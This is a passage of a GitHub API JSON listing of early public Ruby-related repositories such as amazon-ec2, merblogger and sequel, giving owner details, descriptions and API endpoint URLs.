drnicwilliams@gmail.com]","fork":true,"url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/refs{/sha}","trees_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/statuses/{sha}","languages_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/languages","stargazers_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/stargazers","contributors_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/contributors","subscribers_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/subscribers","subscription_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/subscription","commits_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/commits{/sha}","git_commits_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/git/commits{/sha}","comments_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/comments{/number}","issue_comment_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/issues/comments/{number}","contents_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/contents/{+path}","compare_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/merges","archive_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/downloads","issues_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/issues{/number}","pulls_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/pulls{/number}","milestones_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/milestones{/number}","notifications_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lawrencepit/ruby-on-rails-tmbundle/labels{/name}"},{"id":199,"name":"amazon-ec2","full_name":"grempe/amazon-ec2","owner":{"login":"grempe","id":117,"avatar_url":"https://2.gravatar.com/avatar/126e4e797131e8bf3adc528c6a4d78ec?d=https%3A%2F%2Fidenticons.github.com%2Feb160de1de89d9058fcb0b968dbbbd68.png","gravatar_id":"126e4e797131e8bf3adc528c6a4d78ec","url":"https://api.github.com/users/grempe","html_url":"https://github.com/grempe","followers_url":"https://api.github.com/users/grempe/followers","following_url":"https://api.github.com/users/grempe/following{/other_user}","gists_url":"https://api.github.com/users/grempe/gists{/gist_id}","starred_url":"https://api.github.com/users/grempe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/grempe/subscriptions","organizations_url":"https://api.github.com/users/grempe/orgs","repos_url":"https://api.github.com/users/grempe/repos","events_url":"https://api.github.com/users/grempe/events{/privacy}","received_events_url":"https://api.github.com/users/grempe/received_events","type":"User"},"private":false,"html_url":"https://github.com/grempe/amazon-ec2","description":"A Ruby Gem that gives you full access to several of the Amazon Web Services API from your Ruby/Ruby on Rails apps","fork":false,"url":"https://api.github.com/repos/grempe/amazon-ec2","forks_url":"https://api.github.com/repos/grempe/amazon-ec2/forks","keys_url":"https://api.github.com/repos/grempe/amazon-ec2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/grempe/amazon-ec2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/grempe/amazon-ec2/teams","hooks_url":"https://api.github.com/repos/grempe/amazon-ec2/hooks","issue_events_url":"https://api.github.com/repos/grempe/amazon-ec2/issues/events{/number}","events_url":"https://api.github.com/repos/grempe/amazon-ec2/events","assignees_url":"https://api.github.com/repos/grempe/amazon-ec2/assignees{/user}","branches_url":"https://api.github.com/repos/grempe/amazon-ec2/branches{/branch}","tags_url":"https://api.github.com/repos/grempe/amazon-ec2/tags","blobs_url":"https://api.github.com/repos/grempe/amazon-ec2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/grempe/amazon-ec2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/grempe/amazon-ec2/git/refs{/sha}","trees_url":"https://api.github.com/repos/grempe/amazon-ec2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/grempe/amazon-ec2/statuses/{sha}","languages_url":"https://api.github.com/repos/grempe/amazon-ec2/languages","stargazers_url":"https://api.github.com/repos/grempe/amazon-ec2/stargazers","contributors_url":"https://api.github.com/repos/grempe/amazon-ec2/contributors","subscribers_url":"https://api.github.com/repos/grempe/amazon-ec2/subscribers","subscription_url":"https://api.github.com/repos/grempe/amazon-ec2/subscription","commits_url":"https://api.github.com/repos/grempe/amazon-ec2/commits{/sha}","git_commits_url":"https://api.github.com/repos/grempe/amazon-ec2/git/commits{/sha}","comments_url":"https://api.github.com/repos/grempe/amazon-ec2/comments{/number}","issue_comment_url":"https://api.github.com/repos/grempe/amazon-ec2/issues/comments/{number}","contents_url":"https://api.github.com/repos/grempe/amazon-ec2/contents/{+path}","compare_url":"https://api.github.com/repos/grempe/amazon-ec2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/grempe/amazon-ec2/merges","archive_url":"https://api.github.com/repos/grempe/amazon-ec2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/grempe/amazon-ec2/downloads","issues_url":"https://api.github.com/repos/grempe/amazon-ec2/issues{/number}","pulls_url":"https://api.github.com/repos/grempe/amazon-ec2/pulls{/number}","milestones_url":"https://api.github.com/repos/grempe/amazon-ec2/milestones{/number}","notifications_url":"https://api.github.com/repos/grempe/amazon-ec2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/grempe/amazon-ec2/labels{/name}"},{"id":203,"name":"merblogger","full_name":"wayneeseguin/merblogger","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/merblogger","description":"A Merb Blogging & Publishing Platform using Merb, DataMapper, haml and jQuery.","fork":false,"url":"https://api.github.com/repos/wayneeseguin/merblogger","forks_url":"https://api.github.com/repos/wayneeseguin/merblogger/forks","keys_url":"https://api.github.com/repos/wayneeseguin/merblogger/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/merblogger/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/merblogger/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/merblogger/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/merblogger/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/merblogger/events","assignees_url":"https://api.github.com/repos/wayneeseguin/merblogger/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/merblogger/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/merblogger/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/merblogger/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/merblogger/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/merblogger/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/merblogger/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/merblogger/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/merblogger/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/merblogger/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/merblogger/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/merblogger/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/merblogger/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/merblogger/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/merblogger/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/merblogger/merges","archive_url":"https://api.github.com/repos/wayneeseguin/merblogger/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/merblogger/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/merblogger/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/merblogger/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/merblogger/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/merblogger/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/merblogger/labels{/name}"},{"id":204,"name":"merbtastic","full_name":"wayneeseguin/merbtastic","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/merbtastic","description":"Merb + Webgen CMS system that has dynamic routing, Nginx config and static site generation with haml/sass/erb/... support.","fork":false,"url":"https://api.github.com/repos/wayneeseguin/merbtastic","forks_url":"https://api.github.com/repos/wayneeseguin/merbtastic/forks","keys_url":"https://api.github.com/repos/wayneeseguin/merbtastic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/merbtastic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/merbtastic/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/merbtastic/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/merbtastic/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/merbtastic/events","assignees_url":"https://api.github.com/repos/wayneeseguin/merbtastic/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/merbtastic/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/merbtastic/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/merbtastic/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/merbtastic/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/merbtastic/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/merbtastic/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/merbtastic/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/merbtastic/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/merbtastic/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/merbtastic/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/merbtastic/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/merbtastic/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/merbtastic/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/merbtastic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/merbtastic/merges","archive_url":"https://api.github.com/repos/wayneeseguin/merbtastic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/merbtastic/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/merbtastic/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/merbtastic/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/merbtastic/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/merbtastic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/merbtastic/labels{/name}"},{"id":205,"name":"alogr","full_name":"wayneeseguin/alogr","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/alogr","description":"AlogR is a threadsafe non-blocking asynchronous configurable logger for Ruby.","fork":false,"url":"https://api.github.com/repos/wayneeseguin/alogr","forks_url":"https://api.github.com/repos/wayneeseguin/alogr/forks","keys_url":"https://api.github.com/repos/wayneeseguin/alogr/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/alogr/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/alogr/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/alogr/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/alogr/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/alogr/events","assignees_url":"https://api.github.com/repos/wayneeseguin/alogr/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/alogr/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/alogr/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/alogr/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/alogr/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/alogr/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/alogr/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/alogr/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/alogr/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/alogr/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/alogr/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/alogr/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/alogr/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/alogr/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/alogr/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/alogr/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/alogr/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/alogr/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/alogr/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/alogr/merges","archive_url":"https://api.github.com/repos/wayneeseguin/alogr/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/alogr/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/alogr/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/alogr/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/alogr/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/alogr/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/alogr/labels{/name}"},{"id":206,"name":"autozest","full_name":"wayneeseguin/autozest","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/autozest","description":"AutoZest is an autotest addon that: * automated growl installation * generation of .autotest with growl & autozest config * generation of .autozest.yml config file * autozest.sqlite3 database file for pulling random messages based on severity","fork":false,"url":"https://api.github.com/repos/wayneeseguin/autozest","forks_url":"https://api.github.com/repos/wayneeseguin/autozest/forks","keys_url":"https://api.github.com/repos/wayneeseguin/autozest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/autozest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/autozest/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/autozest/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/autozest/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/autozest/events","assignees_url":"https://api.github.com/repos/wayneeseguin/autozest/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/autozest/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/autozest/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/autozest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/autozest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/autozest/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/autozest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/autozest/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/autozest/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/autozest/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/autozest/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/autozest/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/autozest/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/autozest/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/autozest/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/autozest/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/autozest/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/autozest/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/autozest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/autozest/merges","archive_url":"https://api.github.com/repos/wayneeseguin/autozest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/autozest/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/autozest/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/autozest/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/autozest/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/autozest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/autozest/labels{/name}"},{"id":207,"name":"rnginx","full_name":"wayneeseguin/rnginx","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/rnginx","description":"Command line utility and library for working with Nginx configuration scripts.","fork":false,"url":"https://api.github.com/repos/wayneeseguin/rnginx","forks_url":"https://api.github.com/repos/wayneeseguin/rnginx/forks","keys_url":"https://api.github.com/repos/wayneeseguin/rnginx/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/rnginx/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/rnginx/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/rnginx/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/rnginx/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/rnginx/events","assignees_url":"https://api.github.com/repos/wayneeseguin/rnginx/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/rnginx/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/rnginx/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/rnginx/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/rnginx/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/rnginx/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/rnginx/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/rnginx/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/rnginx/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/rnginx/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/rnginx/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/rnginx/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/rnginx/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/rnginx/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/rnginx/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/rnginx/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/rnginx/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/rnginx/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/rnginx/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/rnginx/merges","archive_url":"https://api.github.com/repos/wayneeseguin/rnginx/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/rnginx/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/rnginx/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/rnginx/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/rnginx/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/rnginx/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/rnginx/labels{/name}"},{"id":208,"name":"sequel","full_name":"wayneeseguin/sequel","owner":{"login":"wayneeseguin","id":18,"avatar_url":"https://0.gravatar.com/avatar/b9b5ff40232c1dfd61238c2a90467f84?d=https%3A%2F%2Fidenticons.github.com%2F6f4922f45568161a8cdf4ad2299f6d23.png","gravatar_id":"b9b5ff40232c1dfd61238c2a90467f84","url":"https://api.github.com/users/wayneeseguin","html_url":"https://github.com/wayneeseguin","followers_url":"https://api.github.com/users/wayneeseguin/followers","following_url":"https://api.github.com/users/wayneeseguin/following{/other_user}","gists_url":"https://api.github.com/users/wayneeseguin/gists{/gist_id}","starred_url":"https://api.github.com/users/wayneeseguin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wayneeseguin/subscriptions","organizations_url":"https://api.github.com/users/wayneeseguin/orgs","repos_url":"https://api.github.com/users/wayneeseguin/repos","events_url":"https://api.github.com/users/wayneeseguin/events{/privacy}","received_events_url":"https://api.github.com/users/wayneeseguin/received_events","type":"User"},"private":false,"html_url":"https://github.com/wayneeseguin/sequel","description":"Sequel ORM","fork":false,"url":"https://api.github.com/repos/wayneeseguin/sequel","forks_url":"https://api.github.com/repos/wayneeseguin/sequel/forks","keys_url":"https://api.github.com/repos/wayneeseguin/sequel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wayneeseguin/sequel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wayneeseguin/sequel/teams","hooks_url":"https://api.github.com/repos/wayneeseguin/sequel/hooks","issue_events_url":"https://api.github.com/repos/wayneeseguin/sequel/issues/events{/number}","events_url":"https://api.github.com/repos/wayneeseguin/sequel/events","assignees_url":"https://api.github.com/repos/wayneeseguin/sequel/assignees{/user}","branches_url":"https://api.github.com/repos/wayneeseguin/sequel/branches{/branch}","tags_url":"https://api.github.com/repos/wayneeseguin/sequel/tags","blobs_url":"https://api.github.com/repos/wayneeseguin/sequel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wayneeseguin/sequel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wayneeseguin/sequel/git/refs{/sha}","trees_url":"https://api.github.com/repos/wayneeseguin/sequel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wayneeseguin/sequel/statuses/{sha}","languages_url":"https://api.github.com/repos/wayneeseguin/sequel/languages","stargazers_url":"https://api.github.com/repos/wayneeseguin/sequel/stargazers","contributors_url":"https://api.github.com/repos/wayneeseguin/sequel/contributors","subscribers_url":"https://api.github.com/repos/wayneeseguin/sequel/subscribers","subscription_url":"https://api.github.com/repos/wayneeseguin/sequel/subscription","commits_url":"https://api.github.com/repos/wayneeseguin/sequel/commits{/sha}","git_commits_url":"https://api.github.com/repos/wayneeseguin/sequel/git/commits{/sha}","comments_url":"https://api.github.com/repos/wayneeseguin/sequel/comments{/number}","issue_comment_url":"https://api.github.com/repos/wayneeseguin/sequel/issues/comments/{number}","contents_url":"https://api.github.com/repos/wayneeseguin/sequel/contents/{+path}","compare_url":"https://api.github.com/repos/wayneeseguin/sequel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wayneeseguin/sequel/merges","archive_url":"https://api.github.com/repos/wayneeseguin/sequel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wayneeseguin/sequel/downloads","issues_url":"https://api.github.com/repos/wayneeseguin/sequel/issues{/number}","pulls_url":"https://api.github.com/repos/wayneeseguin/sequel/pulls{/number}","milestones_url":"https://api.github.com/repos/wayneeseguin/sequel/milestones{/number}","notifications_url":"https://api.github.com/repos/wayneeseguin/sequel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wayneeseguin/sequel/labels{/name}"},{"id":211,"name":"simply_versioned","full_name":"bmizerany/simply_versioned","owner":{"login":"bmizerany","id":46,"avatar_url":"https://2.gravatar.com/avatar/1a250566b475961b9b36abf359950c76?d=https%3A%2F%2Fidenticons.github.com%2Fd9d4f495e875a2e075a1a4a6e1b9770f.png","gravatar_id":"1a250566b475961b9b36abf359950c76","url":"https://api.github.com/users/bmi